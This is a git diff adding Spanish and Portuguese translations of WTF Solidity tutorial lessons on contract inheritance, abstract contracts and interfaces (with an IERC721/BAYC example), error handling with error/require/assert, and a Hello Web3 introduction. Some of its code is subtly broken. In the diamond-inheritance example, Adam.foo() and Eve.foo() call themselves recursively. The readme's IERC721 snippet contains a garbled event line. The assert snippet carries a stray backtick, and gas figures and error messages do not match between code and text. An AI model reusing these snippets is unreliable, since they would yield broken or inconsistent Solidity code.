padre en el constructor del contrato hijo. + + ```solidity + contract B is A(1){} + ``` + +2. Declarar el parámetro del constructor padre dentro del constructor del contrato hijo. + + ```solidity + contract C is A { + constructor(uint _c) A(_c * _c) {} + } + ``` + +### Llamando las funciones de los contratos padre + +Hay dos formas para que un contrato hijo llame a las funciones del contrato padre. + +1. Llamada directa: El contrato hijo puede llamar directamente a la función del padre con `parentContractName.functionName`. Por ejemplo: + + ```solidity + function callParent() public{ + Grandfather.pop(); + } + ``` + +2. Palabra clave `super`: En el contrato hijo se puede usar la palabra clave `super.functionName()` para llamar a la función en el contrato padre más cercano en la jerarquía de herencia. Las herencias en Solidity se declaran en un orden de derecha a izquierda: para `contract Son is Grandfather, Father`, el contrato `Father` está más cerca que el contrato `Grandfather`. Por lo tanto `super.pop()` en el contrato `Son` llamará `Father.pop()` pero no `Grandfather.pop()`. + + ```solidity + function callParentSuper() public{ + // Llamar la función un nivel más arriba en la jerarquía. + super.pop(); + } + ``` + +### Herencia en forma de diamante + +En la programación orientada a objetos, la herencia en forma de diamante se refiere al escenario en que una clase derivada tiene dos o más clases base. + +Al usar la palabra clave `super` en una cadena de herencia en forma diamante, se debe tener en cuenta que se llamará a la función relevante de cada contrato en la cadena de herencia, no solo al contrato padre más cercano. + +Primero, se escribirá un contrato base llamado `God`. Luego escribimos dos contratos `Adan` y `Eve` que heredan del contrato `God`. Por último, escribimos otro contrato `people` que hereda de `Adan` y `Eve`. Cada contrato tiene dos funciones `foo()` y `bar()`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +/* Árbol de herencia visualizado: + God + / \ +Adam Eve + \ / +people +*/ +contract God { + event Log(string message); + function foo() public virtual { + emit Log("God.foo llamado"); + } + function bar() public virtual { + emit Log("God.bar llamado"); + } +} +contract Adam is God { + function foo() public virtual override { + emit Log("Adam.foo llamado"); + Adam.foo(); + } + function bar() public virtual override { + emit Log("Adam.bar llamado"); + super.bar(); + } +} +contract Eve is God { + function foo() public virtual override { + emit Log("Eve.foo llamado"); + Eve.foo(); + } + function bar() public virtual override { + emit Log("Eve.bar llamado"); + super.bar(); + } +} +contract people is Adam, Eve { + function foo() public override(Adam, Eve) { + super.foo(); + } + function bar() public override(Adam, Eve) { + super.bar(); + } +} +``` + +En este ejemplo, llamar la función `super.bar()` en el contrato `people` llamará la función `bar()` de los contratos `Eve`, `Adam` y `God`, lo cual es diferente de la herencia múltiple ordinaria. + +Aunque `Eve` y `Adam` son ambos contratos hijos del contrato padre `God` el contrato `God` solo se llamará una vez en todo el proceso. Esto se debe a que Solidity toma prestado el paradigma de Python, forzando un DAG (grafo dirigido acíclico) compuesto por clases base para garantizar un orden especifico basado en la linearización C3. Para obtener más información sobre la herencia y la linearización, se puede leer la documentación oficial de Solidity [Aca](https://docs.soliditylang.org/en/v0.8.17/contracts.html#multiple-inheritance-and-linearization). + + +## Demo en Remix +1. Después de desplegar el contrato de ejemplo en la sección de Herencia Simple, se puede ver que el contrato `Father` tiene las funciones de `Grandfather` + + ![13-1](./img/13-1.png) + + ![13-2](./img/13-2.png) + +2. Ejemplo de herencia de modificadores: + + ![13-3](./img/13-3.png) + + ![13-4](./img/13-4.png) + + ![13-5](./img/13-5.png) + +3. Herencia de constructores. + + ![13-6](./img/13-6.png) + + ![13-7](./img/13-7.png) + +4. Llamado a las funciones de los contratos padres: + + ![13-8](./img/13-8.png) + + ![13-9](./img/13-9.png) + +5. Herencia en forma diamante: + + ![13-10](./img/13-10.png) + +## Resumen +En este tutorial, se presentaron los usos básicos de la herencia en Solidity, incluyendo herencia simple, herencia múltiple, herencia de los modificadores y constructores, además se presentó el llamado a funciones desde contratos padres. diff --git a/Languages/es/14_Interfaces_es/AbstractDemo.sol b/Languages/es/14_Interfaces_es/AbstractDemo.sol new file mode 100644 index 000000000..98cda59c8 --- /dev/null +++ b/Languages/es/14_Interfaces_es/AbstractDemo.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +abstract contract Base{ + string public name = "Base"; + function getAlias() public pure virtual returns(string memory); +} + +contract BaseImpl is Base{ + function getAlias() public pure override returns(string memory){ + return "BaseImpl"; + } +} diff --git a/Languages/es/14_Interfaces_es/Interface.sol b/Languages/es/14_Interfaces_es/Interface.sol new file mode 100644 index 000000000..5aa6a24c6 --- /dev/null +++ b/Languages/es/14_Interfaces_es/Interface.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +abstract contract InsertionSort{ + function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); +} + +import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; + +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom(address from, address to, uint256 tokenId) external; + + function transferFrom(address from, address to, uint256 tokenId) external; + + function approve(address to, uint256 tokenId) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function setApprovalForAll(address operator, bool _approved) external; + + function isApprovedForAll(address owner, address operator) external view returns (bool); + + function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; +} + +contract interactBAYC { + // Usar la dirección de BAYC para crear variables en el contrato de interfaz (ETH red principal) + IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); + + // Llamar a balanceOf de BAYC para consultar el interés abierto a través de la interfaz + function balanceOfBAYC(address owner) external view returns (uint256 balance){ + return BAYC.balanceOf(owner); + } + + // Transferencia segura llamanda a safeTransferFrom() de BAYC a través de la interfaz + function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{ + BAYC.safeTransferFrom(from, to, tokenId); + } +} diff --git a/Languages/es/14_Interfaces_es/InterfaceDemo.sol b/Languages/es/14_Interfaces_es/InterfaceDemo.sol new file mode 100644 index 000000000..800dd0759 --- /dev/null +++ b/Languages/es/14_Interfaces_es/InterfaceDemo.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +interface Base { + function getFirstName() external pure returns(string memory); + function getLastName() external pure returns(string memory); +} +contract BaseImpl is Base{ + function getFirstName() external pure override returns(string memory){ + return "Asombroso"; + } + function getLastName() external pure override returns(string memory){ + return "Ang"; + } +} diff --git a/Languages/es/14_Interfaces_es/img/14-1.png b/Languages/es/14_Interfaces_es/img/14-1.png new file mode 100644 index 000000000..951c7e5cb Binary files /dev/null and b/Languages/es/14_Interfaces_es/img/14-1.png differ diff --git a/Languages/es/14_Interfaces_es/img/14-2.png b/Languages/es/14_Interfaces_es/img/14-2.png new file mode 100644 index 000000000..68ed93661 Binary files /dev/null and b/Languages/es/14_Interfaces_es/img/14-2.png differ diff --git a/Languages/es/14_Interfaces_es/readme.md b/Languages/es/14_Interfaces_es/readme.md new file mode 100644 index 000000000..c14a917b9 --- /dev/null +++ b/Languages/es/14_Interfaces_es/readme.md @@ -0,0 +1,145 @@ +--- +Título: 14. Abstracción y Interfaz +tags: + - solidity + - basic + - wtfacademy + - abstract + - interface +--- + +# Tutorial WTF Solidity: 14. Abstracción y Interfaz + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Jonathan Díaz con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@jonthdiaz](https://twitter.com/jonthdiaz) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +En esta sección, se introducirá los contratos `abstract` y `interface` en Solidity, se usara como ejemplo la interfaz `ERC721`. Este tipo de contratos permite crear plantillas y reducir la redundancia de código. + +## Contrato Abstracto + +Si un contrato contiene al menos una función no implementada (sin contenido en el cuerpo de la función, `{}`) debe ser marcado con la palabra clave `abstract`; de lo contrario, no se compilará. Además, la función no implementada necesita usar la palabra clave `virtual`. +Se toma el contrato [Contrato de Ordenación por Inserción](https://github.com/AmazingAng/WTFSolidity/tree/main/07_InsertionSort) anterior como ejemplo, +si no se ha averiguado cómo implementar la función de ordenación por inserción, se puede marcar el contrato como `abstract` y permitir que otros lo sobrescriban en el futuro. + + + +```solidity +abstract contract InsertionSort{ + function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); +} +``` + +## Interfaz + +El contrato de tipo `interface` es similar al contrato de tipo `abstract`, pero requiere que no tenga contenido en el cuerpo de las funciones. Las reglas de las interfaces: + +1. No puede contener variables de estado. +2. No puede contener constructores. +3. No pueden heredar contratos que no sean de tipo interfaz. +4. Todas las funciones deben ser externas y no pueden tener contenido en el cuerpo de la función. +5. El contrato que hereda del contrato interfaz debe implementar todas las funciones definidas en él. + +Aunque la interfaz no implementa ninguna funcionalidad, es el esqueleto de los contratos inteligentes. +La interfaz define qué hace el contrato y cómo interactuar con el: si un contrato inteligente implementa una interfaz (como `ERC20` o `ERC721`), +otras Dapps y contratos inteligentes sabrán cómo interactuar con él. Por que proporciona dos piezas importantes de información: + +1. El selector `bytes4` para cada función en el contrato, y las firmas de las funciones `function name (parameter type)`. +2. Identificador de la interfaz (ver [EIP165](https://eips.ethereum.org/EIPS/eip-165) para más información). + +Además, la interfaz es equivalente al `ABI` del contrato (Interfaz Binaria de Aplicación) +y se pueden convertir uno en el otro: cuando se compila el contrato inteligente de interfaz se mostrará el `ABI` del contrato, +y la herramienta [abi-to-sol](https://gnidan.github.io/abi-to-sol/) convertirá el `ABI` de nuevo al contrato de la interfaz. + +Se toma el contrato `IERC721`, la interfaz estándar creada para el token `ERC721`, cómo ejemplo. La cual consiste en 3 eventos y 9 funciones, +que todos los contratos `ERC721` necesitan implementar. En la interfaz, cada función termina con `;` en lugar del cuerpo de la función `{ }`. Además, cada función en el contrato de interfaz tiene la palabra clave `virtual`, por lo que no necesita etiquetar la función como `virtual` explícitamente. + + +```solidity +interface IERC721 is IERC165 { + event Traproved, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom(address from, address to, uint256 tokenId) external; + + function transferFrom(address from, address to, uint256 tokenId) external; + + function approve(address to, uint256 tokenId) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function setApprovalForAll(address operator, bool _approved) external; + + function isApprovedForAll(address owner, address operator) external view returns (bool); + + function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data) external; +} +``` + +### Eventos IERC721 +`IERC721` contiene 3 eventos. +- Evento `Transfer`: emitido durante la transferencia, registra la dirección de envió `from`, la dirección de destino `to` y `tokenid` +- Evento `Approval`: emitido durante la aprobación, registra la dirección del propietario del token `owner`, la dirección aprobada `approved` y `tokenid` +- Evento `ApprovalForAll`: emitido durante la aprobación en lote, registra la dirección del propietario `owner` de la aprobación del lote, la dirección aprobada `operator` y si la aprobación esta habilitada o deshabilitada `approved`. + +### Función IERC721 +`IERC721` contiene 9 funciones. +- `balanceOf`: Cuenta todos los NFTs que posee un propietario. +- `ownerOf`: Encuentra el propietario de un NFT (`tokenId`). +- `transferFrom`: Transfiere la propiedad de un NFT con `tokenId` de `from` a `to`. +- `safeTransferFrom`: Transfiere la propiedad de un NFT con `tokenId` de `from` a `to`. Verificación extra: si el receptor es una dirección de contrato, se requerirá que implemente la interfaz `ERC721Receiver`. +- `approve`: Habilita o deshabilita a otra dirección para gestionar el NFT. +- `getApproved`: Obtiene la dirección aprobada para un único NFT. +- `setApprovalForAll`: Habilita o deshabilita la aprobación para que un tercero gestione todos los NFTs del contrato. +- `isApprovedForAll`: Consulta si una dirección es un operador autorizado para otra dirección. +- `safeTransferFrom`: Función sobrecargada para la transferencia segura, contiene `data` en sus parámetros. + + +### ¿Cuándo usar una interfaz? +Si sabemos que un contrato implementa la interfaz `IERC721`, podemos interactuar con él sin conocer su implementación detallada. + +El Bored Ape Yacht Club `BAYC` es un NFT `ERC721` que implementa todas las funciones de la interfaz `IERC721`. Podemos interactuar con el contrato `BAYC` con la interfaz `IERC721` y su dirección de contrato, sin conocer su código fuente. +Por ejemplo, se puede usar `balanceOf()` para consultar el saldo de `BAYC` de una dirección, o usar `safeTransferFrom()` para transferir un NFT `BAYC`. + + +```solidity +contract interactBAYC { + // Usar la dirección de BAYC para crear variables en el contrato de interfaz (ETH red principal) + IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); + + // Llamar a balanceOf de BAYC para consultar el interés abierto a través de la interfaz + function balanceOfBAYC(address owner) external view returns (uint256 balance){ + return BAYC.balanceOf(owner); + } + + // Transferencia segura llamanda a safeTransferFrom() de BAYC a través de la interfaz + function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{ + BAYC.safeTransferFrom(from, to, tokenId); + } +} +``` + +## Demo en Remix +1. Ejemplo contracto inteligente abstracto: + ![14-1](./img/14-1.png) +2. Ejemplo contrato inteligente usando interfaz: + ![14-2](./img/14-2.png) + +## Resumen +En este capítulo, se introdujo los contratos tipo `abstract` e `interface` en Solidity, que se utilizan para escribir plantillas de contratos y reducir la redundancia de código. +También se aprendió sobre la interfaz estándar para el token `ERC721` y cómo interactuar con el contrato `BAYC` usando esta interfaz. diff --git a/Languages/es/15_Errores_es/Error.sol b/Languages/es/15_Errores_es/Error.sol new file mode 100644 index 000000000..05b1e13fd --- /dev/null +++ b/Languages/es/15_Errores_es/Error.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Declaración de error TransferNotOwner +error TransferNotOwner(); + +contract Errors{ + // Un mapping que registra el propietario para cada TokenId + mapping(uint256 => address) private _owners; + + // Error : precio de gas 24445 + function transferOwner1(uint256 tokenId, address newOwner) public { + if(_owners[tokenId] != msg.sender){ + revert TransferNotOwner(); + } + _owners[tokenId] = newOwner; + } + + // requirer : precio de gas 24743 + function transferOwner2(uint256 tokenId, address newOwner) public { + require(_owners[tokenId] == msg.sender, "Transfer Not Owner"); + _owners[tokenId] = newOwner; + } + + // Afirmar : precio de gas 24446 + function transferOwner3(uint256 tokenId, address newOwner) public { + assert(_owners[tokenId] == msg.sender); + _owners[tokenId] = newOwner; + } +} diff --git a/Languages/es/15_Errores_es/img/15-1.png b/Languages/es/15_Errores_es/img/15-1.png new file mode 100644 index 000000000..08d7af74d Binary files /dev/null and b/Languages/es/15_Errores_es/img/15-1.png differ diff --git a/Languages/es/15_Errores_es/img/15-2.png b/Languages/es/15_Errores_es/img/15-2.png new file mode 100644 index 000000000..8f7107cb8 Binary files /dev/null and b/Languages/es/15_Errores_es/img/15-2.png differ diff --git a/Languages/es/15_Errores_es/img/15-3.png b/Languages/es/15_Errores_es/img/15-3.png new file mode 100644 index 000000000..9a3bb50e8 Binary files /dev/null and b/Languages/es/15_Errores_es/img/15-3.png differ diff --git a/Languages/es/15_Errores_es/readme.md b/Languages/es/15_Errores_es/readme.md new file mode 100644 index 000000000..49ca179f5 --- /dev/null +++ b/Languages/es/15_Errores_es/readme.md @@ -0,0 +1,117 @@ +--- +Título: 15. Errores +tags: + - solidity + - advanced + - wtfacademy + - error + - revert/assert/require +--- + +# Tutorial WTF Solidity: 15. Errores + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Jonathan Díaz con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@jonthdiaz](https://twitter.com/jonthdiaz) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +En este capítulo, se introduciran tres formas de lanzar excepciones en solidity: `error`, `require` y `assert`. + +## Errores +Solidity tiene muchas funciones para el manejo de errores. Los errores pueden ocurrir en tiempo de compilación o en tiempo de ejecución. + +### Error +La declaración `error` es una característica nueva en solidity `0.8`. Ahorra gas e informa a los usuarios por qué la operación falló. Es la manera recomendada de lanzar un error en Solidity. +Los errores personalizados se definen utilizando la declaración de error, que se puede usar dentro y fuera de los contratos. A continuación, creamos un error `TransferNotOwner`, que lanzará un error cuando el usuario que realice la transacción no sea el `propietario` del token. + +```solidity +error TransferNotOwner(); // error personalizado +``` + +En funciones, `error` debe usarse junto con la declaración `revert`. + +```solidity +function transferOwner1(uint256 tokenId, address newOwner) public { + if(_owners[tokenId] != msg.sender){ + revert TransferNotOwner(); + } + _owners[tokenId] = newOwner; +} +``` +La función `transferOwner1()` verificará si el usuario que ejecuta la transacción es el propietario del token; si no lo es, lanzará un error `TransferNotOwner` y revertirá la transacción. + +### Requerir (Require) +La declaración `require` era el método más comúnmente utilizado para el manejo de errores antes de la versión solidity `0.8`. Todavía es bastante popular entre los desarrolladores. + +Sintaxis de `require`: +``` +require(condition, "mensaje de error"); +``` + +Se lanzará una excepción cuando la condición no se cumpla. + +A pesar de su simplicidad, el consumo de gas es mayor que en la declaración `error`: el consumo de gas crece linealmente a medida que aumenta la longitud del mensaje de error. + +Ahora, se reescribirá la función `transferOwner` anterior con la declaración `require`: +```solidity +function transferOwner2(uint256 tokenId, address newOwner) public { + require(_owners[tokenId] == msg.sender, "Usuario no es el propietario del token"); + _owners[tokenId] = newOwner; +} +``` + +### Afirmar (Assert) +La declaración `assert` generalmente se usa para propósitos de depuración, porque no incluye un mensaje de error para informar al usuario. + +Sintaxis de `assert`: +```solidity +`assert(condition); +``` +Si la condición no se cumple, se lanzará un error + +Se reescribe la función `transferOwner` con la declaración `assert`: +```solidity + function transferOwner3(uint256 tokenId, address newOwner) public { + assert(_owners[tokenId] == msg.sender); + _owners[tokenId] = newOwner; + } +``` + +## Demo en Remix +Después de desplegar el contrato `Error`. + +1. `error`: Ingrese un número `uint256` y una dirección no cero, y llame a la función `transferOwner1()`. La consola lanzará un error personalizado `TransferNotOwner`. + + ![15-1.png](./img/15-1.png) + +2. `require`: Ingrese un número `uint256` y una dirección no cero, y llame la función `transferOwner2()`. La consola lanzará un error y mostrará el mensaje de error `"El usuario no es el propietario del token"`. + + ![15-2.png](./img/15-2.png) + +3. `assert`: Ingrese un número `uint256` y una dirección no cero, y llame a la función `transferOwner3()`. La consola lanzará un error sin ningún mensaje de error. + + ![15-3.png](./img/15-3.png) + + +## Comparación de gas +Se comparara el consumo de gas de `error`, `require` y `assert`. +Puede encontrar el consumo de gas para cada llamada a la función con el botón Debug de la consola en remix: + +1. **gas para `error`**:24457 `wei` +2. **gas para `require`**:24755 `wei` +3. **gas para `assert`**:24473 `wei` + +Se puede ver que `error` consume menos gas, seguido por `assert`, mientras que `require` consume más gas. +Por lo tanto, `error` no solo informa al usuario sobre el mensaje del error, sino que también ahorra gas. + +## Resumen +En este capítulo, introdujimos 3 declaraciones para manejar errores en Solidity: `error`, `require` y `assert`. Después de comparar su consumo de gas, la declaración `error` es la más barata, mientras que `require` tiene el consumo de gas más alto. diff --git a/Languages/es/README.md b/Languages/es/README.md new file mode 100644 index 000000000..e480e0057 --- /dev/null +++ b/Languages/es/README.md @@ -0,0 +1,72 @@ +![](../../img/logo2.jpeg) + +**[中文版本](https://github.com/AmazingAng/WTF-Solidity) / [English Version](../en/README.md) / [Português Brasileiro](../pt-br/README.md)** + +# WTF Solidity + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Jonathan Díaz, Angela Ocando y Sebastian Guaqueta con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@jonthdiaz](https://twitter.com/jonthdiaz) [@ocandocrypto](https://twitter.com/ocandocrypto) [@scguaquetam](https://twitter.com/scguaquetam) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +## Intro + +**Capítulo 1: HolaWeb3 (Solidity en 3 lineas)**:[Code](./01_HolaWeb3_es/HolaWeb3.sol) | [Tutorial](./01_HolaWeb3_es/readme.md) + +**Capítulo 2: Tipos de valor (Value Types)**:[Code](./02_TiposDeValor_es/ValueTypes.sol) | [Tutorial](./02_TiposDeValor_es/readme.md) + +**Capítulo 3. Función**:[Code](./03_Funcion_es/Function.sol) | [Tutorial](./03_Funcion_es/readme.md) + +**Capítulo 4. Retorno**:[Code](./04_Retorno_es/Return.sol) | [Tutorial](./04_Retorno_es/readme.md) + +**Capítulo 5. Almacenamiento**:[Code](./05_AlmacenamientoInformacion_es/DataStorage.sol) | [Tutorial](./05_AlmacenamientoInformacion_es/readme.md) + +**Capítulo 6. Arreglos y Estructuras**:[Code](./06_ArreglosyEstructuras_es/ArrayAndStruct.sol) | [Tutorial](./06_ArreglosyEstructuras_es/readme.md) + +**Capítulo 7. Mapeo**:[Code](./07_Mapeo_es/Mapping.sol) | [Tutorial](./07_Mapeo_es/readme.md) + +**Capítulo 8. Valor Inicial**:[Code](./08_ValorInicial_es/InitialValue.sol) | [Tutorial](./08_ValorInicial_es/readme.md) + +**Capítulo 9. Constante**:[Code](./09_Constante_es/Constant.sol) | [Tutorial](./09_Constante_es/readme.md) + +**Capítulo 10. Ordenamiento e Inserción**:[Code](./10_OrdenamientoInsercion_es/InsertionSort.sol) | [Tutorial](./10_OrdenamientoInsercion_es/readme.md) + +**Capítulo 11. Modificador**:[Code](./11_Modificador_es/Owner.sol) | [Tutorial](./11_Modificador_es/readme.md) + +**Capítulo 12. Eventos**:[Code](./12_Eventos_es/Event.sol) | [Tutorial](./12_Eventos_es/readme.md) + +**Capítulo 13. Herencia**:[Code](./13_Herencia_es/Inheritance.sol) | [Tutorial](./13_Herencia_es/readme.md) + +**Capítulo 14. Interfaz**:[Code](./14_Interfaces_es/Interface.sol) | [Tutorial](./14_Interfaces_es/readme.md) + +**Capítulo 15. Errores**:[Code](./15_Errores_es/Error.sol) | [Tutorial](./15_Errores_es/readme.md) + +## WTF Contributors + +
+

+ Contributors are the basis of WTF Academy +

+ + + +
+ +## Reference + +- [Solidity Docs](https://docs.soliditylang.org/en/v0.8.17/) +- [Solidity By Example](https://solidity-by-example.org/) +- [OpenZeppelin Contract](https://github.com/OpenZeppelin/openzeppelin-contracts) +- [solmate](https://github.com/transmissions11/solmate) +- [Chainlink Docs](https://docs.chain.link/) +- [Safe Contracts](https://github.com/safe-global/safe-contracts) +- [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) +- [rekt news](https://rekt.news/) diff --git a/Languages/pt-br/01_HelloWeb3/HelloWeb3.sol b/Languages/pt-br/01_HelloWeb3/HelloWeb3.sol new file mode 100644 index 000000000..99bf19d3d --- /dev/null +++ b/Languages/pt-br/01_HelloWeb3/HelloWeb3.sol @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract HelloWeb3{ + string public _string = "Hello Web3!"; +} diff --git a/Languages/pt-br/01_HelloWeb3/img/1-1.png b/Languages/pt-br/01_HelloWeb3/img/1-1.png new file mode 100644 index 000000000..e64b82829 Binary files /dev/null and b/Languages/pt-br/01_HelloWeb3/img/1-1.png differ diff --git a/Languages/pt-br/01_HelloWeb3/img/1-2.png b/Languages/pt-br/01_HelloWeb3/img/1-2.png new file mode 100644 index 000000000..24d3eabe0 Binary files /dev/null and b/Languages/pt-br/01_HelloWeb3/img/1-2.png differ diff --git a/Languages/pt-br/01_HelloWeb3/img/1-3.png b/Languages/pt-br/01_HelloWeb3/img/1-3.png new file mode 100644 index 000000000..7b16b711c Binary files /dev/null and b/Languages/pt-br/01_HelloWeb3/img/1-3.png differ diff --git a/Languages/pt-br/01_HelloWeb3/readme.md b/Languages/pt-br/01_HelloWeb3/readme.md new file mode 100644 index 000000000..1f56f164e --- /dev/null +++ b/Languages/pt-br/01_HelloWeb3/readme.md @@ -0,0 +1,90 @@ +## 1. Olá Web3 (Três linhas de código) + +Recentemente, tenho revisitado o estudo do Solidity para consolidar alguns detalhes e criar um "Guia de Introdução ao Solidity" para iniciantes (programadores avançados podem buscar outros tutoriais). Será atualizado semanalmente com 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +## Introdução ao Solidity + +`Solidity` é uma linguagem de programação utilizada para escrever contratos inteligentes na Máquina Virtual Ethereum (`EVM`). Acredito que dominar o `Solidity` seja uma habilidade essencial para quem deseja se envolver em projetos blockchain: a maioria dos projetos blockchain são de código aberto e entender o código pode ajudar a evitar perder dinheiro em projetos ruins. + +`Solidity` possui duas características: + +1. "Orientado a Objetos": Aprender `Solidity` pode ajudá-lo a conseguir um bom emprego no campo blockchain e encontrar parceiros ideais. +2. "Avançado": Não saber `Solidity` em um ambiente de criptomoedas pode ser visto como desatualizado. + +## Ferramenta de Desenvolvimento: Remix + +Neste tutorial, utilizaremos o `Remix` para trabalhar com contratos `Solidity`. O `Remix` é um ambiente integrado de desenvolvimento de contratos inteligentes recomendado oficialmente pela Ethereum, ideal para iniciantes, pois permite o rápido desenvolvimento e a implantação de contratos diretamente no navegador, sem a necessidade de instalar nada localmente. + +Site: [https://remix.ethereum.org](https://remix.ethereum.org) + +No `Remix`, o menu à esquerda tem três botões, que correspondem a arquivos (para escrever código), compilar (para executar o código) e implantar (para implantar o contrato na blockchain). Clique no botão "Criar novo arquivo" (`Create New File`), para criar um contrato `Solidity` em branco. + +![Painel do Remix](./img/1-1.png) + +## Primeiro Programa em Solidity + +Este programa simples consiste em 1 linha de comentário e 3 linhas de código: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract HelloWeb3{ + string public _string = "Olá Web3!"; +} +``` + +Vamos analisar o programa e aprender sobre a estrutura de um arquivo de código Solidity: + +1. A primeira linha é um comentário que indica a licença de software que o código está utilizando, neste caso, a licença MIT. Se a licença não for especificada, o compilador emitirá um aviso, mas o programa ainda será executado. Comentários em Solidity começam com "//" seguido pelo conteúdo do comentário. + + ```solidity + // SPDX-License-Identifier: MIT + ``` + +2. A segunda linha declara a versão do Solidity que este arquivo está usando, pois a sintaxe varia entre versões. Esta linha indica que o arquivo só pode ser compilado com a versão 0.8.21 do compilador Solidity, até a versão 0.9.0 (a segunda condição é fornecida pelo "^"). As declarações em Solidity terminam com ponto e vírgula (`;`). + + ```solidity + pragma solidity ^0.8.21; + ``` + +3. As linhas 3-4 são a parte do contrato. A linha 3 cria o contrato (`contract`) e declara que o nome do contrato é `HelloWeb3`. A linha 4 é o corpo do contrato, declarando uma variável string `_string` pública, com o valor "Olá Web3!". + + ```solidity + contract HelloWeb3 { + string public _string = "Olá Web3!"; + } + ``` + +Continuaremos a investigar variáveis mais detalhadamente no Solidity. + +## Compilando e Implantando o Código + +Na página de edição de código do Remix, pressione Ctrl + S para compilar o código, é muito conveniente. + +Após a compilação, clique no botão "Implantar" no menu à esquerda para acessar a página de implantação. + +![Imagem de Implantação](./img/1-2.png) + +Por padrão, o `Remix` usa a Máquina Virtual `Remix` (anteriormente conhecida como Máquina Virtual JavaScript) para simular a rede Ethereum ao executar contratos inteligentes, como se fosse uma rede de testes no navegador. O `Remix` também oferece algumas contas de teste, cada uma com 100 ETH (tokens de teste) para uso. Clique em `Deploy` (botão amarelo) para implantar o contrato que escrevemos. + +![Imagem do _string](./img/1-3.png) + +Após a implantação bem-sucedida, você verá o contrato chamado `HelloWeb3`. Clique em `_string` para ver a mensagem "Olá Web3!". + +## Conclusão + +Nesta lição, introduzimos brevemente o `Solidity` e a ferramenta `Remix`, e concluímos nosso primeiro programa `Solidity` - `HelloWeb3`. A seguir, continuaremos a estudar o `Solidity` de forma mais aprofundada! + +### Recursos recomendados em Solidity + +1. [Solidity Documentation](https://docs.soliditylang.org/en/latest/) +2. [Solidity Tutorial by freeCodeCamp](https://www.youtube.com/watch?v=ipwxYa-F1uY) + diff --git a/Languages/pt-br/02_ValueTypes/ValueTypes.sol 